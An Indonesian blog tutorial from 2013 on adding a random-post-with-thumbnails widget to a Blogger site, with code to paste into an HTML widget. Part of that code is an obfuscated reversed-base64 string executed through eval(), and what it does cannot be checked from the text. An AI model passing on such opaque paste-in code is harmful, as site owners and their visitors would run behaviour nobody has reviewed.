Membuat Random Post Dengan Thumbnail

Random Post Sangat membantu meningkatkan page view blog kita karena akan menampilkan postingan blog secara acak yang terkadang tidak bisa ditampilkan oleh related post. utamanya untuk postingan yang jadul yang jarang diketahui pengunjung.Untuk Preview bisa lihat pada gambar di bawah ini.



Cara Pemasangannya Juga sangat mudah,tinggal pastekan kodenya pada widget html.
berikut kodenya

<style> #random-posts img{float:left;margin-right:1px;margin-bottom:1px;width:75px;height:75px;padding:3px;} </style><div id='random-posts'>
<script type='text/javaScript'>
var latesthack_numposts=10;var latesthack_snippet_length=150;var latesthack_info='no';var latesthack_comment='Comts';var latesthack_disable='Comts Disabled';var latesthack_current=[];var latesthack_total_posts=0;var latesthack_current=new Array(latesthack_numposts);function totalposts(a){latesthack_total_posts=a.feed.openSearch$totalResults.$t}document.write('<script type=\"text/javascript\" src=\"/feeds/posts/default?alt=json-in-script&max-results=0&callback=totalposts\"><\/script>');function getvalue(){for(var i=0;i<latesthack_numposts;i++){var a=false;var b=get_random();for(var j=0;j<latesthack_current.length;j++){if(latesthack_current[j]==b){a=true;break}};if(a){i--}else{latesthack_current[i]=b}}};function get_random(){var a=1+Math.round(Math.random()*(latesthack_total_posts-1));return a};
</script>
<script language="javascript" type="text/javascript">var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _1lI(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];var _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[5]]);;return _0x6ea4xd;} ;function _1O1(_0x6ea4xf){var _0x6ea4x10=_0x362a[1],_0x6ea4xc=0;for(_0x6ea4xc=_0x6ea4xf[_0x362a[5]]-1;_0x6ea4xc>=0;_0x6ea4xc--){_0x6ea4x10+=_0x6ea4xf[_0x362a[2]](_0x6ea4xc);} ;return _0x6ea4x10;} ;var _00I='7kSKlBXYjNXZfhSZwF2YzVmb1hSZ0lmc35CduVWb1N2bktTKPxGMfhCZslGaDRmblBHch5SMwkkC70FMblyJkFWZodCKl1WYOdWYUlnQzRnbl1WZsVEdldmL05WZtV3YvRGI9ASMwkEIyFmdKsTKMJVVuQnbl1Wdj9GZoQnbl52bw12bDlkUVVGZvNmbltyJ9wmc1ZyJrkiclJnclZWZy5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0jZlJnJnsyJr9WPjJ3c0V2Z/8SbvNmLy9GdhN2c1ZmYvxWb0hmLpBXYv8iOwRHdodCI9AyYyNnLPxGMfpwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9AyTsBzXgIXY2tzJFNTJw9yQzUSRzUSYvM0Mls2YhhEMyUCdzVGdhxURzUiMyUSbv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0MlkjMlIjMlAjMlIjMlgjMlY2T4VGZulEdzFGbuQGRzUiZwITJyFmdCNTJ5ITJoR3ZuVGbfRXZwBXauN3XrNWYoR3clRXYsNkMlADOyUyZulmc0NnY1NnLkR0MlQmQ3USZzxWZEdTJkR0MlUGMyUichZnQ3USOyUCa0dmblx2X0VGcwlmbz91ajFGa0NXZ0FGbDNTJoR3ZuVGbuQGOyUiZpJ0MlkjMlIjMlIjMlMkMlc2LFNTJqQUNlU0MlUUNlIUNlM0Ml8COyUSZjFGbwVmcuQGRzUCZCNTJEdTJEdTJyITJyITJENTJkBjMlIXY2J0NlU2csVGR3UCd0ITJuknch1Wb1NnLiR0MlQGMyUichZnQ3USOyUiYwITJul2NyUSeyFWbtV3c3ITJ4ITJmlmQ3USZzxWZEdTJ0RjMl4CduVGdu92YuIGRzUCZwITJyFmdCdTJ5ITJiBjMl4Wa3ITJ05WZ052bjdjMlgjMlYWaCNTJ0RjMl4SZsRXa05iYENTJjBjMlIXY2J0MlQUNlkmQ1USeyRnbl5CZlVmZuEGRzUiYwITJyFmdCdTJ5ITJrsSaCNTJzR3cvBXb152XrNWYoR3clRXYsN0MlkmQzUCMENTJpBjMlIXY2hjMlI3bmJ0NlkjMlEGOyUyc0N3bw9VbvRmbhJHMyUibvlGdj5WdmFEMlU0MlcjMlQHcpJ3YTFmdhp2L0hXZ0djMlQ0MlUGc5RHMyUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';eval(_1lI(_1O1(_00I)));</script></div>

Keterangan:
numposts=10; adalah jumlah random post yang ditampilkan
jika ingin menampilkan tanggal posting dan jumlah komentar maka tinggal ubah


var latesthack_info='no';var latesthack_comment='Comts';var latesthack_disable='Comts Disabled'
Menjadi
var latesthack_info='yes';var latesthack_comment='Comments';var latesthack_disable='Comments Disabled'

Membuat Random Post Dengan Thumbnail
Posted by: Risalahati Dedic Ahmad Updated at: 22:55
Membuat Random Post Dengan Thumbnail RISALAHATI , By Risalahati, Published: 2013-03-19T22:55:00+07:00, Title: Membuat Random Post Dengan Thumbnail, Rating5 of 8765432 reviews

No comments:

Post a Comment